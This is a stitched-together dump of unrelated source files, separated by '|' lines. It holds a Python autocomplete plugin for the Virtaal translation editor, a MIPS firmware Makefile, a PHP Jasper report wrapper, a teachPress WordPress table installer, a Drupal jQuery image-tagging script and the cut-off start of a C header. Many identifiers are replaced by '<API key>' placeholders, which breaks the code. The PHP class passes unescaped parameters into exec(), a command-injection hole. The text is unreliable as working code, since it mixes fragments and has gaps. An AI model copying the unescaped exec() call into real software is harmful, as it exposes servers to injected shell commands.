self.widgets.add(textbox)
def _on_insert_text(self, textbox, text, offset, elem):
if not isinstance(text, basestring) or self.wordsep_re.match(text):
return
# We are only interested in single character insertions, otherwise we
# react similarly for paste and similar events
if len(text.decode('utf-8')) > 1:
return
prefix = unicode(textbox.get_text(0, offset) + text)
postfix = unicode(textbox.get_text(offset))
buffer = textbox.buffer
# Quick fix to check that we don't autocomplete in the middle of a word.
right_lim = len(postfix) > 0 and postfix[0] or ' '
if not self.wordsep_re.match(right_lim):
return
lastword = self.wordsep_re.split(prefix)[-1]
if len(lastword) >= self.comp_len:
completed_word, word_postfix = self.autocomplete(lastword)
if completed_word == lastword:
return
if completed_word:
# Updating of the buffer is deferred until after this signal
# and its side effects are taken care of. We abuse
# gobject.idle_add for that.
insert_offset = offset + len(text)
def suggest_completion():
textbox.handler_block(self._textbox_insert_ids[textbox])
#logging.debug("textbox.suggestion = {'text': u'%s', 'offset': %d}" % (word_postfix, insert_offset))
textbox.suggestion = {'text': word_postfix, 'offset': insert_offset}
textbox.handler_unblock(self._textbox_insert_ids[textbox])
sel_iter_start = buffer.get_iter_at_offset(insert_offset)
sel_iter_end = buffer.get_iter_at_offset(insert_offset + len(word_postfix))
buffer.select_range(sel_iter_start, sel_iter_end)
return False
gobject.idle_add(suggest_completion, priority=gobject.PRIORITY_HIGH)
def _remove_textbox(self, textbox):
"""Remove the given L{TextBox} from the list of widgets to do
auto-correction on.
"""
if not hasattr(self, '_textbox_insert_ids'):
return
# Disconnect the "insert-text" event handler
textbox.disconnect(self._textbox_insert_ids[textbox])
self.widgets.remove(textbox)
def _update_word_list(self):
"""Update and sort found words according to frequency."""
wordlist = self._word_freq.items()
wordlist.sort(key=lambda x:x[1], reverse=True)
self._word_list = [items[0] for items in wordlist]
class Plugin(BasePlugin):
description = _('Automatically complete long words while you type')
display_name = _('AutoCompletor')
version = 0.1
# INITIALIZERS #
def __init__(self, internal_name, main_controller):
self.internal_name = internal_name
self.main_controller = main_controller
self._init_plugin()
def _init_plugin(self):
from virtaal.common import pan_app
self.autocomp = AutoCompletor(self.main_controller)
self._store_loaded_id = self.main_controller.store_controller.connect('store-loaded', self._on_store_loaded)
if self.main_controller.store_controller.get_store():
# Connect to already loaded store. This happens when the plug-in is enabled after loading a store.
self._on_store_loaded(self.main_controller.store_controller)
self._unitview_id = None
unitview = self.main_controller.unit_controller.view
if unitview.targets:
self.<API key>(unitview, unitview.targets)
else:
self._unitview_id = unitview.connect('targets-created', self.<API key>)
def <API key>(self, unitview, textboxes):
for target in textboxes:
self.autocomp.add_widget(target)
# METHDOS #
def destroy(self):
"""Remove all signal-connections."""
self.autocomp.clear_words()
self.autocomp.clear_widgets()
self.main_controller.store_controller.disconnect(self._store_loaded_id)
if getattr(self, '_cursor_changed_id', None):
self.store_cursor.disconnect(self._cursor_changed_id)
if self._unitview_id:
self.main_controller.unit_controller.view.disconnect(self._unitview_id)
# EVENT HANDLERS #
def _on_cursor_change(self, cursor):
def add_widgets():
if hasattr(self, 'lastunit'):
if self.lastunit.hasplural():
for target in self.lastunit.target:
if target:
#logging.debug('Adding words: %s' % (self.autocomp.wordsep_re.split(unicode(target))))
self.autocomp.add_words(self.autocomp.wordsep_re.split(unicode(target)))
else:
if self.lastunit.target:
#logging.debug('Adding words: %s' % (self.autocomp.wordsep_re.split(unicode(self.lastunit.target))))
self.autocomp.add_words(self.autocomp.wordsep_re.split(unicode(self.lastunit.target)))
self.lastunit = cursor.deref()
gobject.idle_add(add_widgets)
def _on_store_loaded(self, storecontroller):
self.autocomp.<API key>(storecontroller.get_store().get_units())
if hasattr(self, '_cursor_changed_id'):
self.store_cursor.disconnect(self._cursor_changed_id)
self.store_cursor = storecontroller.cursor
self._cursor_changed_id = self.store_cursor.connect('cursor-changed', self._on_cursor_change)
self._on_cursor_change(self.store_cursor)
|
HAVE_UART = y
CROSS_COMPILE ?=mips-linux-gnu-
CC = $(CROSS_COMPILE)gcc
LD = $(CROSS_COMPILE)ld
OBJCOPY = $(CROSS_COMPILE)objcopy
drop-sections := .reginfo .mdebug .oomment .note .pdr .options .MIPS.options
strip-flags := $(addprefix --remove-section=,$(drop-sections))
HEX_CFLAGS += -Iinclude
HEX_CFLAGS += -nostdinc -Wall -Wundef -<API key> \
-fno-common -EL -Os -march=mips32 -mabi=32 -G 0 -mno-abicalls -fno-pic
HEX_CFLAGS += -DINTERFACE_NEMC
HEX_LDFLAGS := -nostdlib -EL -T target.ld
HEX_OBJCOPY_ARGS := -O <API key>
HEX_NAME := firmware_uart.hex
OBJS := src/start.o \
src/delay.o \
src/main.o \
src/mcu_ops.o \
src/gpio.o \
ifeq ($(HAVE_UART), y)
OBJS += src/uart.o
HEX_CFLAGS += -DHANDLE_UART
endif
all: firmware.bin
@hexdump -v -e '"0x" 1/4 "%08x" "," "\n"' $< > $(HEX_NAME)
firmware.bin:firmware.o
@$(LD) -nostdlib -EL -T target.ld $(OBJS) -Map tmp.map -o tmp.elf
@$(OBJCOPY) $(strip-flags) $(HEX_OBJCOPY_ARGS) -O binary tmp.elf $@
firmware.o : $(OBJS)
%.o:%.c
$(CC) $(HEX_CFLAGS) -o $@ -c $^
%.o:%.S
$(CC) $(HEX_CFLAGS) -o $@ -c $^
clean:
@find . -name "*.o" | xargs rm -vf
@find . -name "*.o.cmd" | xargs rm -vf
@find . -name "*.hex" | xargs rm -vf
@find . -name "*.bin" | xargs rm -vf
@rm -vf tmp.map tmp.elf
|
<?php
namespace JasPhp;
use JasPhp;
Class Jasper {
public static function makeJasperReport($module, $report, $parameters) {
//print "java -jar ../lib/java/jasphp.jar $module $report $parameters";exit;
exec("java -jar ../lib/java/dist/jasphp.jar $module $report $parameters", $return);
//print_r($return);exit;
return $return;
}
public static function readParameters($filters) {
$arrparam = array();
foreach ($filters as $param => $val) {
$arrparam[] = $param;
$arrparam[] = $val;
}
$parametros = '"' . implode('" "', $arrparam) . '"';
return $parametros;
}
}
?>
|
<?php
/**
* This class contains all functions for creating a database for teachpress
* @package teachpress\core\installation
* @since 5.0.0
*/
class TP_Tables {
/**
* Install teachPress database tables
* @since 5.0.0
*/
public static function create() {
global $wpdb;
self::add_capabilities();
$charset_collate = self::get_charset();
// Disable foreign key checks
if ( <API key> === false ) {
$wpdb->query("SET foreign_key_checks = 0");
}
// Settings
self::add_table_settings($charset_collate);
// Courses
self::add_table_courses($charset_collate);
self::<API key>($charset_collate);
self::<API key>($charset_collate);
self::<API key>($charset_collate);
self::add_table_stud($charset_collate);
self::add_table_stud_meta($charset_collate);
self::add_table_signup($charset_collate);
self::add_table_artefacts($charset_collate);
self::<API key>($charset_collate);
// Publications
self::add_table_pub($charset_collate);
self::add_table_pub_meta($charset_collate);
self::<API key>($charset_collate);
self::<API key>($charset_collate);
self::<API key>($charset_collate);
self::add_table_tags($charset_collate);
self::add_table_relation($charset_collate);
self::add_table_user($charset_collate);
self::add_table_authors($charset_collate);
self::<API key>($charset_collate);
// Enable foreign key checks
if ( <API key> === false ) {
$wpdb->query("SET foreign_key_checks = 1");
}
}
/**
* Remove teachPress database tables
* @since 5.0.0
*/
public static function remove() {
global $wpdb;
$wpdb->query("SET FOREIGN_KEY_CHECKS=0");
$wpdb->query("DROP TABLE `" . <API key> . "`,
`" . <API key> . "`,
`" . TEACHPRESS_AUTHORS . "`,
`" . TEACHPRESS_COURSES . "`,
`" . <API key> . "`,
`" . <API key> . "`,
`" . <API key> . "`,
`" . TEACHPRESS_PUB . "`,
`" . <API key> . "`,
`" . <API key> . "`,
`" . TEACHPRESS_PUB_META . "`,
`" . <API key> . "`,
`" . TEACHPRESS_RELATION ."`,
`" . <API key> . "`,
`" . TEACHPRESS_SETTINGS ."`,
`" . TEACHPRESS_SIGNUP ."`,
`" . TEACHPRESS_STUD . "`,
`" . <API key> . "`,
`" . TEACHPRESS_TAGS . "`,
`" . TEACHPRESS_USER . "`");
$wpdb->query("SET FOREIGN_KEY_CHECKS=1");
}
/**
* Returns an associative array with table status informations (Name, Engine, Version, Rows,...)
* @param string $table
* @return array
* @since 5.0.0
*/
public static function check_table_status($table){
global $wpdb;
return $wpdb->get_row("SHOW TABLE STATUS FROM " . DB_NAME . " WHERE `Name` = '$table'", ARRAY_A);
}
/**
* Tests if the engine for the selected table is InnoDB. If not, the function changes the engine.
* @param string $table
* @since 5.0.0
* @access private
*/
private static function change_engine($table){
global $wpdb;
$db_info = self::check_table_status($table);
if ( $db_info['Engine'] != 'InnoDB' ) {
$wpdb->query("ALTER TABLE " . $table . " ENGINE = INNODB");
}
}
/**
* Create table teachpress_courses
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_courses($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_COURSES . "'") == TEACHPRESS_COURSES ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_COURSES . " (
`course_id` INT UNSIGNED AUTO_INCREMENT,
`name` VARCHAR(100),
`type` VARCHAR (100),
`room` VARCHAR(100),
`lecturer` VARCHAR (100),
`date` VARCHAR(60),
`places` INT(4),
`start` DATETIME,
`end` DATETIME,
`semester` VARCHAR(100),
`comment` VARCHAR(500),
`rel_page` INT,
`parent` INT,
`visible` INT(1),
`waitinglist` INT(1),
`image_url` VARCHAR(400),
`strict_signup` INT(1),
`use_capabilities` INT(1),
PRIMARY KEY (`course_id`),
KEY `semester` (`semester`)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_COURSES);
}
/**
* Create table course_capabilities
* @param string $charset_collate
* @since 5.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`cap_id` INT UNSIGNED AUTO_INCREMENT,
`wp_id` INT UNSIGNED,
`course_id` INT UNSIGNED,
`capability` VARCHAR(100),
PRIMARY KEY (`cap_id`),
KEY `ind_course_id` (`course_id`),
KEY `ind_wp_id` (`wp_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table course_documents
* @param string $charset_collate
* @since 5.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`doc_id` INT UNSIGNED AUTO_INCREMENT,
`name` VARCHAR(500),
`path` VARCHAR(500),
`added` DATETIME,
`size` BIGINT,
`sort` INT,
`course_id` INT UNSIGNED,
PRIMARY KEY (doc_id),
KEY `ind_course_id` (`course_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table <API key>
* @param string $charset_collate
* @since 5.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`meta_id` INT UNSIGNED AUTO_INCREMENT,
`course_id` INT UNSIGNED,
`meta_key` VARCHAR(255),
`meta_value` TEXT,
PRIMARY KEY (meta_id),
KEY `ind_course_id` (`course_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table teachpress_stud
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_stud($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_STUD . "'") == TEACHPRESS_STUD ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_STUD . " (
`wp_id` INT UNSIGNED,
`firstname` VARCHAR(100) ,
`lastname` VARCHAR(100),
`userlogin` VARCHAR (100),
`email` VARCHAR(50),
PRIMARY KEY (wp_id),
KEY `ind_userlogin` (`userlogin`)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_STUD);
}
/**
* Create table <API key>
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_stud_meta($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`meta_id` INT UNSIGNED AUTO_INCREMENT,
`wp_id` INT UNSIGNED,
`meta_key` VARCHAR(255),
`meta_value` TEXT,
PRIMARY KEY (meta_id),
KEY `ind_wp_id` (`wp_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table teachpress_signup
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_signup($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_SIGNUP ."'") == TEACHPRESS_SIGNUP ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_SIGNUP ." (
`con_id` INT UNSIGNED AUTO_INCREMENT,
`course_id` INT UNSIGNED,
`wp_id` INT UNSIGNED,
`waitinglist` INT(1) UNSIGNED,
`date` DATETIME,
PRIMARY KEY (con_id),
KEY `ind_course_id` (`course_id`),
KEY `ind_wp_id` (`wp_id`),
KEY `ind_date` (`date`)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_SIGNUP);
}
/**
* Create table <API key>
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_artefacts($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`artefact_id` INT UNSIGNED AUTO_INCREMENT,
`parent_id` INT UNSIGNED,
`course_id` INT UNSIGNED,
`title` VARCHAR(500),
`scale` TEXT,
`passed` INT(1),
`max_value` VARCHAR(50),
PRIMARY KEY (artefact_id),
KEY `ind_course_id` (`course_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table <API key>
* @param string $charset_collate
* @since 5.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`assessment_id` INT UNSIGNED AUTO_INCREMENT,
`artefact_id` INT UNSIGNED,
`course_id` INT UNSIGNED,
`wp_id` INT UNSIGNED,
`value` VARCHAR(50),
`max_value` VARCHAR(50),
`type` VARCHAR(50),
`examiner_id` INT,
`exam_date` DATETIME,
`comment` TEXT,
`passed` INT(1),
PRIMARY KEY (assessment_id),
KEY `ind_course_id` (`course_id`),
KEY `ind_artefact_id` (`artefact_id`),
KEY `ind_wp_id` (`wp_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table teachpress_settings
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_settings($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_SETTINGS . "'") == TEACHPRESS_SETTINGS ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_SETTINGS . " (
`setting_id` INT UNSIGNED AUTO_INCREMENT,
`variable` VARCHAR (100),
`value` LONGTEXT,
`category` VARCHAR (100),
PRIMARY KEY (setting_id)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_SETTINGS);
// Add default values
self::<API key>();
}
/**
* Add default system settings
* @since 5.0.0
*/
public static function <API key>(){
global $wpdb;
$value = '[tpsingle [key]]<!--more-->' . "\n\n[tpabstract]\n\n[tplinks]\n\n[tpbibtex]";
$version = get_tp_version();
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('sem', 'Example term', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('db-version', '$version', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('sign_out', '0', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('login', 'std', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('stylesheet', '1', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_page_courses', 'page', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('<API key>', 'page', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_content_auto', '0', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('<API key>', '$value', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('<API key>', '', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('import_overwrite', '1', 'system')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('convert_bibtex', '0', 'system')");
// Example values
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('Example term', 'Example term', 'semester')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('Example', 'Example', 'course_of_studies')");
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . "(`variable`, `value`, `category`) VALUES ('Lecture', 'Lecture', 'course_type')");
// Register example meta data fields
// course_of_studies
$value = 'name = {course_of_studies}, title = {' . __('Course of studies','teachpress') . '}, type = {SELECT}, required = {false}, min = {false}, max = {false}, step = {false}, visibility = {admin}';
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('course_of_studies', '$value', 'teachpress_stud')");
// birthday
$value = 'name = {birthday}, title = {' . __('Birthday','teachpress') . '}, type = {DATE}, required = {false}, min = {false}, max = {false}, step = {false}, visibility = {normal}';
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('birthday', '$value', 'teachpress_stud')");
// semester_number
$value = 'name = {semester_number}, title = {' . __('Semester number','teachpress') . '}, type = {INT}, required = {false}, min = {1}, max = {99}, step = {1}, visibility = {normal}';
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('semester_number', '$value', 'teachpress_stud')");
// <API key>
$value = 'name = {<API key>}, title = {' . __('Matriculation number','teachpress') . '}, type = {INT}, required = {false}, min = {1}, max = {1000000}, step = {1}, visibility = {admin}';
$wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('<API key>', '$value', 'teachpress_stud')");
}
/**
* Create table teachpress_pub
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_pub($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB . "'") == TEACHPRESS_PUB ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_PUB . " (
`pub_id` INT UNSIGNED AUTO_INCREMENT,
`title` VARCHAR(500),
`type` VARCHAR (50),
`bibtex` VARCHAR (100),
`author` VARCHAR (3000),
`editor` VARCHAR (3000),
`isbn` VARCHAR (50),
`url` TEXT,
`date` DATE,
`urldate` DATE,
`booktitle` VARCHAR (1000),
`issuetitle` VARCHAR (200),
`journal` VARCHAR(200),
`issue` VARCHAR(40),
`volume` VARCHAR(40),
`number` VARCHAR(40),
`pages` VARCHAR(40),
`publisher` VARCHAR (500),
`address` VARCHAR (300),
`edition` VARCHAR (100),
`chapter` VARCHAR (40),
`institution` VARCHAR (500),
`organization` VARCHAR (500),
`school` VARCHAR (200),
`series` VARCHAR (200),
`crossref` VARCHAR (100),
`abstract` TEXT,
`howpublished` VARCHAR (200),
`key` VARCHAR (100),
`techtype` VARCHAR (200),
`comment` TEXT,
`note` TEXT,
`image_url` VARCHAR (400),
`image_target` VARCHAR (100),
`image_ext` VARCHAR (400),
`doi` VARCHAR (100),
`is_isbn` INT(1),
`rel_page` INT,
`status` VARCHAR (100) DEFAULT 'published',
`added` DATETIME,
`modified` DATETIME,
`use_capabilities` INT(1),
`import_id` INT,
PRIMARY KEY (pub_id),
KEY `ind_type` (`type`),
KEY `ind_date` (`date`),
KEY `ind_import_id` (`import_id`),
KEY `ind_key` (`key`),
KEY `ind_bibtex_key` (`bibtex`),
KEY `ind_status` (`status`)
) ROW_FORMAT=DYNAMIC $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_PUB);
}
/**
* Create table teachpress_pub_meta
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_pub_meta($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB_META . "'") == TEACHPRESS_PUB_META ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_PUB_META . " (
`meta_id` INT UNSIGNED AUTO_INCREMENT,
`pub_id` INT UNSIGNED,
`meta_key` VARCHAR(255),
`meta_value` TEXT,
PRIMARY KEY (meta_id),
KEY `ind_pub_id` (`pub_id`)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_PUB_META);
}
/**
* Create table pub_capabilities
* @param string $charset_collate
* @since 6.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`cap_id` INT UNSIGNED AUTO_INCREMENT,
`wp_id` INT UNSIGNED,
`pub_id` INT UNSIGNED,
`capability` VARCHAR(100),
PRIMARY KEY (`cap_id`),
KEY `ind_pub_id` (`pub_id`),
KEY `ind_wp_id` (`wp_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table pub_documents
* @param string $charset_collate
* @since 6.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`doc_id` INT UNSIGNED AUTO_INCREMENT,
`name` VARCHAR(500),
`path` VARCHAR(500),
`added` DATETIME,
`size` BIGINT,
`sort` INT,
`pub_id` INT UNSIGNED,
PRIMARY KEY (doc_id),
KEY `ind_pub_id` (`pub_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table pub_imports
* @param string $charset_collate
* @since 6.1.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`id` INT UNSIGNED AUTO_INCREMENT,
`wp_id` INT UNSIGNED,
`date` DATETIME,
PRIMARY KEY (id)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Create table teachpress_tags
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_tags($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_TAGS . "'") == TEACHPRESS_TAGS ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_TAGS . " (
`tag_id` INT UNSIGNED AUTO_INCREMENT,
`name` VARCHAR(300),
PRIMARY KEY (tag_id),
KEY `ind_tag_name` (`name`)
) ROW_FORMAT=DYNAMIC $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_TAGS);
}
/**
* Create table teachpress_relation
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_relation($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_RELATION . "'") == TEACHPRESS_RELATION ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_RELATION . " (
`con_id` INT UNSIGNED AUTO_INCREMENT,
`pub_id` INT UNSIGNED,
`tag_id` INT UNSIGNED,
PRIMARY KEY (con_id),
KEY `ind_pub_id` (`pub_id`),
KEY `ind_tag_id` (`tag_id`)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_RELATION);
}
/**
* Create table teachpress_user
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_user($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_USER . "'") == TEACHPRESS_USER ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_USER . " (
`bookmark_id` INT UNSIGNED AUTO_INCREMENT,
`pub_id` INT UNSIGNED,
`user` INT UNSIGNED,
PRIMARY KEY (bookmark_id),
KEY `ind_pub_id` (`pub_id`),
KEY `ind_user` (`user`)
) $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_USER);
}
/**
* Create table teachpress_authors
* @param string $charset_collate
* @since 5.0.0
*/
public static function add_table_authors($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_AUTHORS . "'") == TEACHPRESS_AUTHORS ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . TEACHPRESS_AUTHORS . " (
`author_id` INT UNSIGNED AUTO_INCREMENT,
`name` VARCHAR(500),
`sort_name` VARCHAR(500),
PRIMARY KEY (author_id),
KEY `ind_sort_name` (`sort_name`)
) ROW_FORMAT=DYNAMIC $charset_collate;");
// test engine
self::change_engine(TEACHPRESS_AUTHORS);
}
/**
* Create table <API key>
* @param string $charset_collate
* @since 5.0.0
*/
public static function <API key>($charset_collate) {
global $wpdb;
if( $wpdb->get_var("SHOW TABLES LIKE '" . <API key> . "'") == <API key> ) {
return;
}
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta("CREATE TABLE " . <API key> . " (
`con_id` INT UNSIGNED AUTO_INCREMENT,
`pub_id` INT UNSIGNED,
`author_id` INT UNSIGNED,
`is_author` INT(1),
`is_editor` INT(1),
PRIMARY KEY (con_id),
KEY `ind_pub_id` (`pub_id`),
KEY `ind_author_id` (`author_id`)
) $charset_collate;");
// test engine
self::change_engine(<API key>);
}
/**
* Add capabilities
* @since 5.0.0
*/
private static function add_capabilities() {
global $wp_roles;
$role = $wp_roles->get_role('administrator');
if ( !$role->has_cap('use_teachpress') ) {
$wp_roles->add_cap('administrator', 'use_teachpress');
}
if ( !$role->has_cap('<API key>') ) {
$wp_roles->add_cap('administrator', '<API key>');
}
}
/**
* charset & collate like WordPress
* @since 5.0.0
*/
public static function get_charset() {
global $wpdb;
$charset_collate = '';
if ( ! empty($wpdb->charset) ) {
$charset_collate = "DEFAULT CHARACTER SET $wpdb->charset";
}
if ( ! empty($wpdb->collate) ) {
$charset_collate .= " COLLATE $wpdb->collate";
}
$charset_collate .= " ENGINE = INNODB";
return $charset_collate;
}
}
|
(function ($) {
function getCsrf<API key>(callback) {
$
.get(Drupal.url('rest/session/token'))
.done(function (data) {
var csrfToken = data;
callback(csrfToken);
});
}
function patchImageFullShot(csrfToken, file, fid) {
//document.getElementById('msg-up').innerHTML = 'Image marked as fullshot ....';
$.ajax({
url: Drupal.url('file/' + fid + '?_format=hal_json'),
method: 'PATCH',
headers: {
'Content-Type': 'application/hal+json',
'X-CSRF-Token': csrfToken
},
data: JSON.stringify(file),
success: function (file) {
//console.log(node);
//document.getElementById('msg-up').innerHTML = 'Image Fullshot started!';
swal({
title: "Full Shot",
text: "Image has been selected as full shot. Scan next ID",
type: "success",
showCancelButton: false,
confirmButtonColor: "#DD6B55",
confirmButtonText: "OK",
closeOnConfirm: true
});
},
error: function(){
swal({
title: "Full Shot",
text: "There was an error, please try again.",
type: "error",
showCancelButton: false,
confirmButtonColor: "#DD6B55",
confirmButtonText: "OK",
closeOnConfirm: true
});
}
});
// setTimeout(function(){
// document.getElementById('msg-up').innerHTML = '';
// }, 3300);
}
/*
* tag value 1 means tag
* tag value 0 means undo tag
*
*/
function <API key>(tag,fidinput) {
var nid = fidinput;
var Node_imgs = {
_links: {
type: {
href: Drupal.url.toAbsolute(drupalSettings.path.baseUrl + 'rest/type/file/image')
}
},
// type: {
// target_id: 'products'
field_full_shoot: {
value:tag
}
};
getCsrf<API key>(function (csrfToken) {
if (nid) {
patchImageFullShot(csrfToken, Node_imgs, nid);
}else{
alert('Node product found, pls refresh the page.');
}
});
}
$(".studio-img-fullshot").click(function () {
var id = $(this).parents('span').attr('id');
console.log('fullshot');
<API key>(1,id);
});
$(document).on("click",".studio-img-fullshot",function(){
var id = $(this).parents('span').attr('id');
console.log('fullshot');
<API key>(1,id);
});
})(jQuery);
|
#ifndef __DGAPROC_H
#define __DGAPROC_H
#include <X11/Xproto.h>
#include "pixmap.h"
#define <API key> 0x00000001
